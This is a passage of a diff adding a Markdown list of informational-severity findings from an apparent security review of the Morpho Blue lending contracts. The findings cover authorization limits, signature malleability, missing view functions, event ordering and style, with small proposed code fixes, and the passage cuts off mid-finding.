+- Whithin the iterations, `if (newfees[i] == market[id].fee)` it does not revert. Reverting would be a temporal DOS to `owner` as he is not expected to manually check & avoid this scenario. Hence increased efficiency.
+- In above scenario (ie `if (newfees[i] == market[id].fee)`) the iteration silently continues. Hence
+ - Skips event emmission as no longer neccesary.
+ - Skips check ` require(newfees[i] <= MAX_FEE, ErrorsLib.MAX_FEE_EXCEEDED);` as its no longer neccessary. Old fee definitely passes this.
+ - Skips `_accrueInterest()` as fee no longer changes.
+ - Skips the actual setting `market[id].fee = uint128(newfees[i]);`
+
+
+
+### Lack of Public Functionality for Position Health Check
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+In the current implementation of the lending protocol, we have identified a notable gap in functionality—a **missing public function specifically designed to check the health of borrower positions**, even though there is an internal function for this : `Morpho::_isHealthy`.
+
+This omission introduces **complexity and inefficiency** into the liquidation process, hindering the ability of liquidators to promptly and accurately assess the health status of borrow positions, **increasing the likelyhood of the protocol getting losses**.
+
+**Recommendation**:
+Add a public `isHealthy` function for this purpose
+
+
+
+### Use named return variables
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Using named return variables gives the code a better readability and a slight gas optimization
+
+
+
+### No authorization restrictions
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Morpho Blue allows users to authorize others to operate on their behalf in those functions where explicit allowance is needed : _borrow_, _withdraw_ and _withdrawCollateral_ . But the current authorization method gives unlimited freedom to the authorized account to operate in behalf of the address, increasing the risk for potential missbehaviours, including theft of funds. Once the authorized address performs some meaningfull unwanted actions(such as withdrawing the supply or the collateral to another account) it will be too late, even revoking the authotization would not revert the effects. Of course the likelyhood of this is low since this are trusted addresses.
+
+**Recommendation**:
+Allowing users to restrict the power of the auhorizated accounts would add extra security to it, potentilly reducing the severity of bad actions. This could be done either with amount limits (such as _ERC20_ allowocance, where the allowed amount is redeemable) or time limits, adding a deadline to the authorization:
+
+```solidity
+ function setAuthorization(
+ address authorized,
+ uint256 maxSupplyWithdrawal,
+ uint256 maxCollateralWithdrawal,
+ uint256 maxBorrow,
+ // uint256 deadline
+ ) external {
+ // ...
+ }
+
+```
+**Note that this solution would still allow giving unrestricted authorization to the authorized address.**
+
+
+
+### 2 transaction signature authorization
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+One of the main purposes of doing approvals with off-chain generated signatures, is reducing the number of steps required for an action that requires an approval , such as `transferFrom` function in _ERC20_ , that requires the allower to call `approve` first. in ERC20 this 2 steps are reduced to 1 thanks to the _ERC20Permit_ standard, using the `permit` function that uses EIP712 signatures. In the case of Morpho, includes the `setAuthorizationWithSig` that allows the authorized address to aquire the authorization himself, using allower's off-chain generated signature. This process would still involve 2 transactions.
+
+**Recommendation**:
+In order to get the most out of signatures, protocol could have functions that allow to do all the process in one single transaction :
+```solidity
+ function borrowWithSig(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver,
+ Signature calldata signature
+ ) external returns (uint256, uint256) {
+//...
+}
+
+function withdrawWithSignature(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver,
+ Signature calldata signature
+ ) external returns (uint256, uint256) {
+//...
+}
+function withdrawCollateral(
+ MarketParams memory marketParams,
+ uint256 assets,
+ address onBehalf,
+ address receiver,
+ Signature calldata signature
+) external{
+//...
+}
+
+```
+**Note**: the inteded behaviour is that once calling one of this functions the authorized address can get can is approved for later interactions, so it doesnt need the allower being active and providing a signature every time.
+
+
+
+### `wTaylorCompounded` may not return the first three non-zero terms of a Taylor expansion, as specified in the developer comments
+
+**Severity:** Informational
+
+**Context:** [MathLib.sol#L38-L38](morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L38-L38)
+
+**Description**:
+Above the `wTaylorCompounded` it is stated that the function should return the first 3 non-zero terms of a Taylor expansion of `e^(nx) - 1`, however, it is possible for the first two of the terms to be zero.
+As the second term is calculated the following way: `firstTerm * firstTerm / 2 * 1e18`, if `firstTerm` to the power of 2 is lower than `2 * 1e18`, due to a low value of either `x` or `n`, than the second term would be rounded down to zero, causing the third term to also be zero.
+
+
+
+
+### Use bytes.concat() instead of abi.encodePacked()
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L440-L440](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L440-L440)
+
+**Description**:
+
+Solidity version 0.8.4 introduces bytes.concat() for concatenating byte arrays, which is more efficient than using abi.encodePacked(). " Morpho blue currently uses abi.encodePacked for the signature digests.
+
+**Recommendation**:
+
+It is recommended to use bytes.concat() instead of abi.encodePacked() and upgrade to at least Solidity version 0.8.4 if required.
+
+
+
+### `_isSenderAuthorized()` can be refactored into a modifier
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L455-L455](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L455-L455)
+
+**Description:**
+
+Within the Morpho codebase, the function `_isSenderAuthorized()` is employed to verify the authorization status of the `msg.sender`. This function is utilized in various functions throughout Morpho's implementation. However, the code could be enhanced for better readability and maintainability by refactoring this authorization check into a modifier.
+
+**Recommended Mitigation Steps:**
+
+To improve code organization and reduce complexity, it is recommended to refactor the existing `_isSenderAuthorized()` function into a modifier. Subsequently, apply this modifier to the functions where the authorization check is currently embedded.
+
+By adopting this approach, the codebase becomes more modular, making it easier to understand and maintain. Additionally, it aligns with best practices for using modifiers to encapsulate common preconditions.
+
+
+
+### Doublon to be deleted
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Doublon to be deleted
+
+
+
+### Potential ECDSA malleability in `setAuthorizationWithSig`
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L441-L441](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L441-L441)
+
+**Description**: The `setAuthorizationWithSig` function in the provided code snippet uses the `ecrecover` function to recover the address associated with the Ethereum public key that was used to sign a message. However, the native `ecrecover` function is known to be vulnerable to ECDSA malleability issues. This vulnerability arises because Ethereum's ECDSA does not enforce a strict signature format, which could potentially lead to the acceptance of a malleable signature. Although this does not pose an immediate security risk in the current context, it is generally considered a bad practice to rely solely on `ecrecover` for signature verification.
+The vulnerability is explained in more detail in this article: [ECDSA Malleability](https://medium.com/@fabien.morrow/ecdsa-maleability-67572bc1aeef).
+
+**Recommendation**: To mitigate this potential vulnerability and adhere to best practices, it is recommended to use a well-tested library for ECDSA signature verification. One such library is OpenZeppelin's ECDSA library, which provides additional checks and a standardized way to recover signatures. The OpenZeppelin ECDSA library can be found here: [OpenZeppelin ECDSA Documentation](https://docs.openzeppelin.com/contracts/5.x/api/utils#ECDSA).
+By integrating OpenZeppelin's ECDSA utility functions, the code can be made more robust against ECDSA malleability and other related issues. This not only enhances the security of the smart contract but also aligns its implementation with industry standards.
+
+
+
+### Inconsistent use of solidity version can cause compatibility issues
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+`Morpho.sol` uses `pragma solidity 0.8.19` while the interfaces (`IMorpho.sol` , `IIrm.sol` etc) uses a different version.
+
+It is recommended to use the same version to prevent compatibility issues
+
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L1-L2
+
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/interfaces/IMorpho.sol#L2
+
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/interfaces/IIrm.sol#L2
+
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/interfaces/IMorphoCallbacks.sol#L2
+
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/interfaces/IOracle.sol#L2
+
+
+
+
+
+### Pull funds at the beginning of the interaction
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Following the check-effect-interaction principle it seems intuitive to think that we should transfer the tokens at the end of the interactions, but in functions that pull funds it is advisable to transfer the tokens at the beginning of the interaction(or as soon as possible) for a better security and robustness in case of re-entrancy.This applies to the functions where users deposit funds:`supply`,`repay`,`supplyCollateral` and `liquidate`.
+
+
+
+
+
+### No view function for LLTV
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+
+Currently, there is no convenient method for a market creator to view all approved LLTVs that can be used when creating markets.
+
+- Recommendation
+
+Consider adding an array to store the enabled ones and implementing a view function to retrieve them.
+
+```diff
++ uint256[] private enabledLLTVs;
+
+/// @inheritdoc IMorphoBase
+function enableLltv(uint256 lltv) external onlyOwner {
+ require(!isLltvEnabled[lltv], ErrorsLib.ALREADY_SET);
+ require(lltv < WAD, ErrorsLib.MAX_LLTV_EXCEEDED);
+
+ isLltvEnabled[lltv] = true;
++ enabledLLTVs.push(lltv);
+
+ emit EventsLib.EnableLltv(lltv);
+}
+
++ function enabledLltvs() external view returns(uint256[] memory) {
++ return enabledLLTVs;
++ }
+```
+
+
+
+### No view function for IRM
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+
+Currently, there is no convenient method for a market creator to view all approved IRMs that can be used when creating markets.
+
+- Recommendation
+
+Consider adding an array to store the enabled ones and implementing a view function to retrieve them.
+
+```diff
++ address[] private enabledIRMs;
+
+/// @inheritdoc IMorphoBase
+function enableIrm(address irm) external onlyOwner {
+ require(!isIrmEnabled[irm], ErrorsLib.ALREADY_SET);
+
+ isIrmEnabled[irm] = true;
++ enabledIRMs.push(irm);
+
+ emit EventsLib.EnableIrm(irm);
+}
+
++ function enabledIrms() external view returns(address[] memory) {
++ return enabledIRMs;
++ }
+```
+
+
+
+### Cast to `bytes` or `bytes32` for clearer semantic meaning
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+In the current Solidity codebase, there are several instances where `abi.encodePacked()` is used for single arguments. A more semantically clear approach would be to cast these single arguments to `bytes` or `bytes32`. This change can reduce confusion during code reviews and improve overall code readability, as suggested in a [Stack Exchange discussion](https://ethereum.stackexchange.com/questions/30912/how-to-compare-strings-in-solidity#answer-82739).
+
+- Related GitHub Links
+1. **Morpho.sol:**
+ - [Line 78](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L78)
+ - [Lines 439-440](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L439-L440)
+
+2. **ConstantsLib.sol:**
+ - [Line 17](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ConstantsLib.sol#L17)
+ - [Line 21](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ConstantsLib.sol#L21)
+
+3. **MarketParamsLib.sol:**
+ - [Line 18](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MarketParamsLib.sol#L18)
+
+4. **MorphoStorageLib.sol:**
+ - [Line 51](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L51)
+ - [Line 57](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L57)
+ - [Lines 63](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L63)
+ - [Lines 67](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L67)
+ - [Lines 71](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L71)
+ - [Lines 75](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L75)
+ - [Lines 79](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L79)
+ - [Lines 83](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L83)
+ - [Lines 87](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L87)
+ - [Lines 91](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L91)
+ - [Lines 95](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L95)
+ - [Lines 99](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L99)
+ - [Lines 103](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L103)
+ - [Lines 107](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L107)
+
+- Recommendation
+Cast to bytes or bytes32 for clearer semantic meaning
+
+
+
+### Consider adding emergency-stop functionality
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+In high-stakes environments like blockchain and smart contract operations, the ability to quickly respond to security breaches or emergencies is vital. An integrated 'emergency stop' mechanism, often referred to as a 'circuit breaker,' can significantly improve the protocol's resilience by enabling the swift suspension of all operations. This centralized control mechanism is more efficient than pausing individual contracts and can drastically reduce response times and operational stress during critical situations.
+
+- Benefits
+- **Quick Response:** Enables rapid action in the event of a security breach or emergency.
+- **Centralized Control:** Provides a single point to halt all protocol operations, enhancing efficiency.
+- **Risk Mitigation:** Reduces the potential damage from ongoing attacks or vulnerabilities.
+
+- Recommendation
+Integrate a 'circuit breaker' or 'emergency stop' function into the smart contract system. Ensure that this feature is thoroughly tested and can be activated swiftly in case of an emergency.
+
+
+
+### Consider using delete rather than assigning zero to clear values
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L397-L397](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L397-L397)
+
+- Description
+In Solidity, using the `delete` keyword instead of assigning a zero value to a variable can offer clearer semantics and draw more attention to the state change. This practice is particularly beneficial when the intention is to reset or clear a variable's value. It not only aligns more closely with the intended operation but also aids in making the code more readable and auditable.
+
+- Example
+In the `Morpho.sol` file, there is an instance where a state variable is set to zero instead of being cleared using `delete`. This approach might obscure the intent to auditors or future maintainers of the code.
+
+```js
+📁 File: src/Morpho.sol
+
+397: position[id][borrower].borrowShares = 0;
+```
+
+- Benefits of Using `delete`
+- **Clearer Intent:** Indicates the explicit intent to clear or reset a variable.
+- **Enhanced Readability:** Improves code readability and maintenance.
+- **Auditing:** Draws more attention during code reviews, potentially leading to a more thorough examination of the associated logic.
+
+- Recommendation
+Consider refactoring the identified instance to use the `delete` keyword. This change will make the code more explicit about the operation being performed, thereby enhancing the clarity and auditability of the codebase.
+
+
+
+### Consider using named mappings
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+Solidity version 0.8.18 introduced the concept of named mappings, which can significantly improve code readability by clearly indicating the purpose of each mapping. This enhancement is especially beneficial in complex contracts where understanding the role of each mapping quickly becomes essential for maintainers and auditors.
+
+- Instances
+Instances in `src/Morpho.sol` where named mappings could be beneficial:
+- [Line 58](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L58-L58)
+- [Line 60](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L60-L60)
+- [Line 62](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L62-L62)
+- [Line 64](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L64-L64)
+- [Line 66](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L66-L66)
+- [Line 68](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L68-L68)
+- [Line 70](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L70-L70)
+
+- Recommendation
+Upgrade to Solidity version 0.8.18 or later and refactor the mappings with named mappings for better code clarity and maintenance.
+
+
+
+### Constant redefined elsewhere
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+Constants are being redefined in multiple contracts within the project. This practice can lead to discrepancies and maintenance challenges. A more efficient approach would be to define these constants in a single location, like an internal library, to ensure consistency and prevent values from becoming out of sync.
+
+```solidity
+📁 File: src/libraries/ConstantsLib.sol
+
+17: bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)");
+
+20: bytes32 constant AUTHORIZATION_TYPEHASH =
+21: keccak256("Authorization(address authorizer,address authorized,bool isAuthorized,uint256 nonce,uint256 deadline)");
+```
+[17](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ConstantsLib.sol#L17-L17), [20](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ConstantsLib.sol#L20-L21)
+
+```solidity
+📁 File: src/libraries/SharesMathLib.sol
+
+21: uint256 internal constant VIRTUAL_ASSETS = 1;
+```
+[21](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L21-L21)
+
+```solidity
+📁 File: src/libraries/periphery/MorphoStorageLib.sol
+
+14: uint256 internal constant OWNER_SLOT = 0;
+15: uint256 internal constant FEE_RECIPIENT_SLOT = 1;
+16: uint256 internal constant POSITION_SLOT = 2;
+17: uint256 internal constant MARKET_SLOT = 3;
+18: uint256 internal constant IS_IRM_ENABLED_SLOT = 4;
+
+26: uint256 internal constant LOAN_TOKEN_OFFSET = 0;
+27: uint256 internal constant COLLATERAL_TOKEN_OFFSET = 1;
+28: uint256 internal constant ORACLE_OFFSET = 2;
+29: uint256 internal constant IRM_OFFSET = 3;
+30: uint256 internal constant LLTV_OFFSET = 4;
+
+32: uint256 internal constant SUPPLY_SHARES_OFFSET = 0;
+33: uint256 internal constant BORROW_SHARES_AND_COLLATERAL_OFFSET = 1;
+
+35: uint256 internal constant TOTAL_SUPPLY_ASSETS_AND_SHARES_OFFSET = 0;
+36: uint256 internal constant TOTAL_BORROW_ASSETS_AND_SHARES_OFFSET = 1;
+37: uint256 internal constant LAST_UPDATE_AND_FEE_OFFSET = 2;
+```
+[14](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L14-L18), [26](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L26-L30), [32](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L32-L33), [35](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L35-L37)
+
+- Recommendation
+Consolidate the constant definitions into a single internal library or contract. If a variable is a local cache of another contract's value, consider making it internal or private to maintain synchronization with the source of truth.
+
+
+
+### constants should be defined rather than using magic numbers
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+Using hard-coded magic numbers can reduce code readability and maintainability. Replacing these with named constants, especially in assembly code, can enhance readability and make the code more self-explanatory.
+
+```solidity
+📁 File: src/libraries/periphery/MorphoLib.sol
+
+25: return uint256(morpho.extSloads(slot)[0] >> 128);
+
+35: return uint256(morpho.extSloads(slot)[0] >> 128);
+
+45: return uint256(morpho.extSloads(slot)[0] >> 128);
+
+55: return uint256(morpho.extSloads(slot)[0] >> 128);
+```
+[25](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L25), [35](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L35), [45](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L45), [55](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L55)
+
+- Recommendation
+Define and use named constants instead of hard-coded numeric or hex literals to improve code clarity and maintenance.
+
+
+
+### Contract implements interface without extending the interface
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+Implementing an interface without extending it or using the `override` keyword can lead to incorrect function signatures and unexpected behaviors.
+
+```solidity
+📁 File: src/Morpho.sol
+
+/// @audit IMorphoStaticTyping.position()
+/// @audit IMorphoStaticTyping.market()
+/// @audit IMorphoStaticTyping.idToMarketParams()
+38: contract Morpho is IMorphoStaticTyping {
+```
+[38](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L38-L38)
+
+
+- Recommendation
+Ensure that the contract extends the interface it implements or use the `override` keyword where applicable to avoid potential issues with function signatures.
+
+
+
+### Control structures do not follow the Solidity Style Guide
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+The Solidity Style Guide outlines best practices for control structures to enhance code readability and maintainability. In the examined codebase, several instances deviate from these guidelines, specifically concerning the placement of 'else' statements and the positioning of opening braces.
+
+- Style Guide Violations
+1. **'else' Placement:** The 'else' keyword should be on the same line as the closing brace of the 'if' statement, separated by a single space.
+2. **Opening Brace Positioning:** The opening brace should be on the same line as the function declaration or control structure, preceded by a single space.
+
+- Instances
+Instances in `src/Morpho.sol`, `src/interfaces/IERC20.sol`, and `src/libraries/periphery/MorphoBalancesLib.sol`:
+- **Improper 'else' Placement:**
+ - `src/Morpho.sol` [Lines 180-181, 213-214, 248-249, 280-281](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L180-L281)
+- **Incorrect Opening Brace Positioning:**
+ - `src/Morpho.sol` [Lines 300-302, 320-322, 513-517](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300-L517)
+ - `src/interfaces/IERC20.sol` [Line 9](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IERC20.sol#L9-L9)
+ - `src/libraries/periphery/MorphoBalancesLib.sol` [Lines 33-37, 65-69, 74-78, 83-87, 95-99, 110-114](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L33-L114)
+
+See the [control structures](https://docs.soliditylang.org/en/latest/style-guide.html#control-structures) section of the Solidity Style Guide
+
+- Recommendation
+Update the affected code sections to align with the Solidity Style Guide. This includes adjusting the placement of 'else' statements and the positioning of opening braces.
+
+
+
+### Event is missing `indexed` fields _(this issue has been rejected)_
+
+**Severity:** Informational
+
+**Context:** [EventsLib.sol#L18-L18](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L18-L18), [EventsLib.sol#L30-L30](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L30-L30), [EventsLib.sol#L35-L35](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L35-L35), [EventsLib.sol#L124-L124](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L124-L124), [EventsLib.sol#L139-L139](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L139-L139), [EventsLib.sol#L146-L146](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L146-L146)
+
+- Description
+Indexing event fields enhances their accessibility in off-chain tools and improves the efficiency of event parsing. However, it's important to balance the use of indexed fields with gas consumption considerations.
+
+- Recommendation
+**Optimal Indexing:** If an event has three or more fields and gas consumption is not a primary concern, index up to three fields. For events with fewer than three fields, consider indexing all fields.
+
+
+
+### Events may be emitted out of order due to reentrancy
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L135-L135](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L135-L135), [Morpho.sol#L187-L187](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L187-L187), [Morpho.sol#L222-L222](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L222-L222), [Morpho.sol#L258-L258](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L258-L258), [Morpho.sol#L288-L288](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L288-L288), [Morpho.sol#L336-L336](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L336-L336), [Morpho.sol#L403-L403](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L403-L403)
+
+- Description
+In smart contracts, particularly those interacting with external contracts, reentrancy can lead to events being emitted in an unexpected order. This issue is critical in scenarios where external entities rely on a specific sequence of events for correct operation. Adherence to the Checks-Effects-Interactions (CEI) pattern is recommended to mitigate this risk.
+
+- Recommendation
+1. **Adopt CEI Pattern:** Refactor the contract to follow the Checks-Effects-Interactions pattern. This involves performing all checks (validations) first, making all state changes next (effects), and interacting with other contracts last (interactions).
+2. **Review Event Emission:** Ensure that events are emitted after state changes but before external interactions to maintain the intended order.
+
+By adhering to the CEI pattern and carefully planning the order of events emission, the risk of out-of-order events due to reentrancy can be significantly reduced, enhancing the reliability and predictability of the contract's behavior.
+
+
+
+### Events should be emitted before external calls
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L403-L403](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L403-L403), [Morpho.sol#L418-L418](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L418-L418), [Morpho.sol#L491-L491](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L491-L491)
+
+- Description
+In smart contract development, following the Check-Effects-Interactions (CEI) pattern is crucial for maintaining secure and predictable contract behavior. A key aspect of this pattern is emitting events before making external calls. This practice ensures that the state changes are logged before any external interactions, which might include reentrancy risks or other unexpected behaviors.
+
+- Recommendation
+Modify the contract to emit events prior to any external calls. This adjustment should align the contract with the CEI pattern, enhancing security and predictability.
+
+
+
+### Events that mark critical parameter changes should contain both the old and the new value
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L100-L100](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L100-L100), [Morpho.sol#L144-L144](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L144-L144)
+
+- Description
+In smart contracts, especially those involving critical parameter changes, it is good practice to include both the old and new values in the corresponding events. This practice is particularly important when the new value is not required to differ from the old one. It provides a clear audit trail and enhances transparency for contract interactions.
+
+- Recommendation
+1. **Update Event Definitions:** Refactor the `SetOwner` and `SetFeeRecipient` events to include both the old and new values of the parameters being changed.
+2. **Modify Function Logic:** Adjust the logic in the `setOwner` and `setFeeRecipient` functions to capture and include the old values in the events.
+
+
+
+### `createMarket` for identical loanToken and collateralToken
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L150-L150](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L150-L150)
+
+**Description:** A user can accidentally / maliciously create a market using similar `loanToken` and `collateralToken`. Creating a lending pool with the same `loanToken` and `collateralToken` makes little sense.
+
+**Recommendation:**
+Make sure a check is made to prevent creating markets using the same `loanToken` and `collateralToken`.
+
+
+
+### Zero address validation in `createMarket`
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L150-L150](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L150-L150)
+
+**Description:**
+`createMarket()` function lacks zero address checks, which accidentally allows users to create markets with either `loanToken`, `collateralToken`, or `oracle` as zero addresses.
+
+However, it does not impact the user, as he can re-create a market using the right parameters but still is good to have such validations.
+
+**Recommendation**:
+Validate `loanToken`, `collateralToken` and `oracle` is a non-zero address while creating new markets.
+
+
+
+### Protocol does not currently consider important cases when it comes to dealing with ERC20 tokens _(duplicate of [Flashloans could be exploited by safeTransferFrom with non standard tokens.])_
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+- Proof of Concept
+
+Multiple implementation of transfer and transferFrom exist within `Morpho.sol` where as protocol is already in the know of multple potential cases as hinted [here](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L103-L128) with additions that's been made also from the report by OpenZeppelin, some pretty popular interesting cases were not considered.
+
+To put this in place there are tokens that while executing transfers actually could pass in a different value than what was sent, note that this is not a `fee on transfer` issue but rather just how these contracts are existing, below I'd give two examples since this imo is a two-fold report.
+
+- 1
+
